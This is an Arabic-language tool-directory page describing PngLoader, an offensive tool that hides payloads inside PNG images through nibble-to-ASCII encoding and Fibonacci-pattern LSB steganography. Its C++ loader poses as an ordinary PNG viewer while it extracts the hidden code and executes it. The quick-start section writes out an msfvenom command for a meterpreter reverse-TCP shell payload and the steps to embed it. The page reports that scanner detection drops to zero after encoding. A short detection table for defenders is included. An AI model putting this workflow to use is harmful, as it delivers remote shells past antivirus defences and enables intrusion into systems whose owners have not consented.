Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
PngLoader — يخفي الحمولات الاعتباطية داخل صور PNG باستخدام ترميز nibble-to-ASCII وإخفاء المعلومات LSB بنمط فيبوناتشي، مع محمّل بلغة C++ يستخرج البيانات المضمّنة وينفّذها. | Kitploit
أدوات/GitHubGitHub/i014n/pngloader
أدوات دفاعيةتوليد الحمولةالاستغلالشيل كودإخفاء المعلوماتتحليل البرمجيات الخبيثةالتعلم والتعليمالفريق الأحمرتطوير الحمولات
GitHubi014n/pngloader

PngLoader

يخفي الحمولات الاعتباطية داخل صور PNG باستخدام ترميز nibble-to-ASCII وإخفاء المعلومات LSB بنمط فيبوناتشي، مع محمّل بلغة C++ يستخرج البيانات المضمّنة وينفّذها.

3130منذ 22س 46دلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
عرض المستودع

PngLoader — بحث حول الحمولات بالتغرير (Steganographic Payload)

إخلاء المسؤولية: هذا المشروع مخصص للأغراض التعليمية وأبحاث الأمن المصرّح بها فقط — اختبار الاختراق، ومسابقات CTF، وتمارين الفريق الأحمر، والدراسة الأكاديمية. لا تستخدمه ضد أنظمة دون إذن كتابي صريح.


نظرة عامة

يخفي PngLoader بيانات عشوائية داخل صور PNG باستخدام طبقتين:

  1. ترميز النيبل إلى ASCII — ثنائي ← أحرف ASCII قابلة للطباعة
  2. تغرير فيبوناتشي (Fibonacci steganography) — البيانات المرمّزة ← بكسلات موزّعة في صورة PNG
  3. المحمّل (Loader) — "عارض PNG" لنظام Windows يستخرج البيانات المخفية ويشغّلها

البدء السريع

# 1. Generate raw test data
msfvenom -p  windows/x64/meterpreter/reverse_tcp   LHOST=<> LPORT=<>  -f raw -o payload.bin

# 2. Encode binary → ASCII
python3 0.Scripts/TransformRawToEncode.py payload.bin encoded.txt

# 3. Embed into a cover image
python3 0.Scripts/HideEncodeToPicture.py embed 2.Payloads/clean.png encoded.txt -o stego.png

# 4. Verify extraction works
python3 0.Scripts/HideEncodeToPicture.py extract stego.png --hex

# 5. Check image capacity
python3 0.Scripts/HideEncodeToPicture.py capacity 2.Payloads/clean.png

عرض توضيحي للـ PoC

PoC Demo


هيكل المشروع

PngLoader/
├── 0.Scripts/
│   ├── TransformRawToEncode.py      # Nibble-to-ASCII encoder/decoder
│   └── HideEncodeToPicture.py       # Fibonacci steganography (embed/extract)
├── 1.Loader/
│   ├── loader_png.cpp               # PNG viewer + steganography extractor
│   ├── loader.cpp                   # Alternate loader (inline buffer)
│   ├── Utils.cpp / Utils.h          # ASCII → binary decoder
│   ├── VirtualBuffer.h/.cpp         # RAII VirtualAlloc wrapper
│   ├── Hearders.h                   # Shared Windows includes
│   └── Loader_png.vcxproj           # Visual Studio project
├── 2.Payloads/
│   └── clean.png                    # Sample cover image
└── readme.md

كيف يعمل

المرحلة 1 — ترميز النيبل إلى ASCII

يُقسَّم كل بايت إلى نصفين من 4 بتات (nibbles). ويُعيَّن كل نيبل إلى حرف ASCII قابل للطباعة عبر إضافة أساس عشوائي (48 أو 64 أو 96):

Byte 0xFC → high nibble 0xF, low nibble 0xC

High: 48+15=63 '?'  |  64+15=79 'O'  |  96+15=111 'o'
Low:  48+12=60 '<'  |  64+12=76 'L'  |  96+12=108 'l'

فك الترميز يستخدم خاصية modulo-16 — جميع القواعد الثلاث من مضاعفات 16:

original_nibble = encoded_char % 16
byte = (char1 % 16) << 4 | (char2 % 16)

اختيار القاعدة العشوائي يعني أن المدخل نفسه ينتج مخرجات مختلفة في كل مرة، لكن فك الترميز دائمًا حتمي.

القاعدةالنطاقالمحارف
4848–630123456789:;<=>?
6464–79@ABCDEFGHIJKLMNO
9696–111 `abcdefghijklmno

المرحلة 2 — إخفاء المعلومات بنمط فيبوناتشي

تُوضع بايتات الحمولة عند مؤشرات البكسل وفقًا لـمتتالية فيبوناتشي (1، 2، 3، 5، 8، 13، 21، …) على مصفوفة البكسل المسطّحة. يؤدي هذا إلى توزيع التعديلات عبر الصورة بدلًا من تجميعها.

حزم البتات — يُقسَّم كل بايت بنسبة 3/3/2 عبر البتات الأقل أهمية (LSB) لقنوات RGB:

R: bits 7–5  (3 LSBs)
G: bits 4–2  (3 LSBs)
B: bits 1–0  (2 LSBs)

التغليف — عندما تتجاوز مؤشرات فيبوناتشي عدد البكسلات، فإنها تلتف عبر باقي القسمة (modulo). تُحلّ التصادمات عبر الفحص الخطي (linear probing). تشير نهاية البيانات إلى نهاية البيانات عبر مُنهي 0x00.

حجم الصورةالبكسلاتالسعة النظيفة
640×480307,200~27 بايت
1920×10802,073,600~31 بايت
4000×300012M~35 بايت

مع تفعيل التغليف، الحد الأقصى للسعة = total_pixels − 1.

المرحلة 3 — المُحمِّل

يعمل مُحمِّل C++ (loader_png.cpp) كعارض PNG شرعي:

  1. يعرض الصورة بشكل طبيعي باستخدام GDI+
  2. يستخرج البايتات المخفية من مواضع بكسلات فيبوناتشي باستخدام WIC (RGB24)
  3. يفكّ ترميز ASCII → ثنائي عبر UtilDecryptFileQuoted() (عكس mod-16)

خوارزميات تحديد المواضع البديلة

تسلسل فيبوناتشي مجرد نهج واحد. تقدّم استراتيجيات اختيار البكسلات الأخرى مقايضات مختلفة بين السعة والأمان:

الخوارزميةالسعة النظيفة (1080p)مفتاح مشتركالتوزيعالتكلفة
فيبوناتشي (مُنفَّذة)~31 بايتلافجوات أسّيةضئيلة
Prime-Index~150K بايتلافجوات n·ln(n)متوسطة
LFSR~2M بايتنعم (seed)شبه عشوائيضئيلة
Keyed Permutation~2M بايتنعم (مفتاح)تشفيريعالية
Hilbert Curveيعتمد على الخطوةلامنتظم مكانيًامتوسطة
Golden Ratio (Weyl)~2M بايتلاتباين منخفضضئيلة
تفاصيل حول كل خوارزمية

Prime-Index — مؤشرات البكسلات هي أعداد أولية (2، 3، 5، 7، 11…). تنمو الأعداد الأولية بمعدل n·ln(n)، مما يمنح سعة نظيفة أعلى بكثير من فيبوناتشي.

LFSR — يُنتج سجل إزاحة التغذية الراجعة الخطي ذو الطول الأقصى تبديلًا شبه عشوائي. يعمل الـ seed كسرّ مشترك. صفر تصادمات للدورة الكاملة.

Keyed Permutation (Fisher-Yates) — خلط لمؤشرات جميع البكسلات ببذرة من CSPRNG. لا يمكن تمييز المواضع عن العشوائية دون المفتاح.

Hilbert Curve — يمشي على البكسلات على طول منحنى مالئ للفضاء بخطوة محددة. يوزّع التغييرات بالتساوي عبر مساحة الصورة ثنائية الأبعاد.

Golden Ratio (Weyl Sequence) — pos(n) = floor(n × φ × total) mod total. يُنتج أكثر توزيع أحادي البعد انتظامًا ممكنًا. حسابه بديهي.


نتائج الفحص

الحمولة الخام — 7/13 من الفاحصات تكتشفها:

Raw payload scan

بعد الترميز — 0/13 من الفاحصات تكتشفها:

Encoded payload scan


إرشادات الكشف

لـ الفريق الأزرق / المدافعين:

الطبقةالمؤشر
الثابتةالاستيرادات: VirtualAllocEx، WriteProcessMemory، SetThreadContext
الصورةيكشف تحليل Chi-squared الإحصائي للاختفاء (steganalysis) على مستويات LSB عن التعديلات
السلوكيةإنشاء عملية معلّقة + حقن خيط بعيد (Sysmon EID 1+8)
الترميزأحرف حصرًا من ثلاثة نطاقات ASCII بطول 16 حرفًا

البناء والاعتماديات

Python:

pip install numpy Pillow

محمل C++:

  • Visual Studio 2019+ مع عبء عمل C++ Desktop
  • Windows 10+ SDK
  • افتح 1.Loader/Loader_png.vcxproj ← Build Release x64

المراجع

  • إخفاء المعلومات LSB
  • متتالية فيبوناتشي
  • Windows Imaging Component

الترخيص

لأغراض البحث الأمني التعليمي والمصرح به فقط. راجع إخلاء المسؤولية أعلاه.

تنزيل الأداة